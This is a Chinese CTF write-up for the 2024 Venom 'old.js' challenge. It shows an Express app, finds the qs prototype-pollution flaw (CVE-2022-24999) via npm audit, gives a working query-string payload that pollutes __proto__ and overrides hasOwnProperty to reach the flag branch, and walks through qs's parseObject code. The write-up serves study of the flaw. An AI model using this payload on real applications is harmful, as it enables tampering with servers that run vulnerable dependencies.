2024venomvtf wp+学习

old.js

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const express = require('express')
const fs = require('fs')
var bodyParser = require('body-parser');
const app = express()
app.use(bodyParser.urlencoded({
extended: true
}));
app.use(bodyParser.json());

app.post('/plz', (req, res) => {

venom = req.body.venom

if (Object.keys(venom).length < 3 && venom.welcome == 159753) {
try {
if(venom.hasOwnProperty("text")){
res.send(venom.text)
}else{
res.send("no text detected")
}
} catch {
if (venom.text=="flag") {
res.send("payload_is_work")//稍稍修改,原来是打印flag

} else {
res.end("Nothing here!")
}
}
} else {
res.end("happy game");
}
})



app.get('/',
function(req, res, next) {
res.send('<title>oldjs</title><a>Hack me plz</a><br><form action="/plz" method="POST">text:<input type="text" name="venom[text]" value="ezjs"><input type="submit" value="Hack"></form> ');
});

app.listen(80, () => {
console.log("listening at port 80")
})

没啥思路,npm audit一下看看有没有组件的漏洞

image-20240318194914097

可以看到这里qs存在漏洞

qs vulnerable to Prototype Pollution · CVE-2022-24999 · GitHub Advisory Database

存在原型链污染

n8tz/CVE-2022-24999: “qs” prototype poisoning vulnerability ( CVE-2022-24999 ) (github.com)

这里想要获取flag需要满足如下条件

首先venom的内的属性数量少于三个,然后要求welcome的值等于159753,text值为flag 就能读取flag

显然我们可以这样

venom内三个属性 welcome和text的值固定,hasOwnProperty给他一个值,使得触发hasOwnProperty(“text”)的时候报错抛出

但是限制了属性的长度是< 3

我们可以通过污染venom的父类对象的属性,给他污染一个text,使得子类成员只有两个值,寻找text的值的时候从父类获取

1
venom[__proto__][text]=flag&venom[hasOwnProperty]=Jay17&venom[welcome]=159753

简单的调试一下就可以看到

image-20240318211055796

污染了他的父类,获取的时候获取到了相关的属性

分析

网上没找到相关的文章,自己分析看看贴一下源码

qs库是把一个字符串转换成一个对象,或者把一个对象转换成一个字符串的库

qs可以使用parseObject方法,将一个字符串转换成一个对象

在本题中,我们如果传递的参数是一个字符串

1
venom[__proto__][text]=flag&venom[hasOwnProperty]=Jay17&venom[welcome]=159753

qs就会自动调用,处理这个,解析成一个object

看一下这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var parseObject = function parseObject(chain, val, options) {
if (!chain.length) {
return val;
}
var root = chain.shift();
var obj;
if (root === '[]' && options.parseArrays) {
obj = [];
obj = obj.concat(parseObject(chain, val, options));
} else {
obj = options.plainObjects ? Object.create(null) : {};
var cleanRoot = root.charAt(0) === '[' && root.charAt(root.length - 1) === ']' ? root.slice(1, -1) : root;
var index = parseInt(cleanRoot, 10);
if (!options.parseArrays && cleanRoot === '') {
obj = { 0: val };
} else if (
!isNaN(index)
&& root !== cleanRoot
&& String(index) === cleanRoot
&& index >= 0
&& (options.parseArrays && index <= options.arrayLimit)
) {
obj = [];
obj[index] = parseObject(chain, val, options);
} else {
obj[cleanRoot] = parseObject(chain, val, options);
}
}

主要的过程就是将chain中的数组取出来,通过递归,将每一个键值和属性取出来,构造成一个对象

注意到修改后的函数里面加了一句特判

image-20240318214539233

如果没有这句特判

__proto__会被作为一个键值塞入到构造的对象中,解析这个对象的时候就会造成原型链污染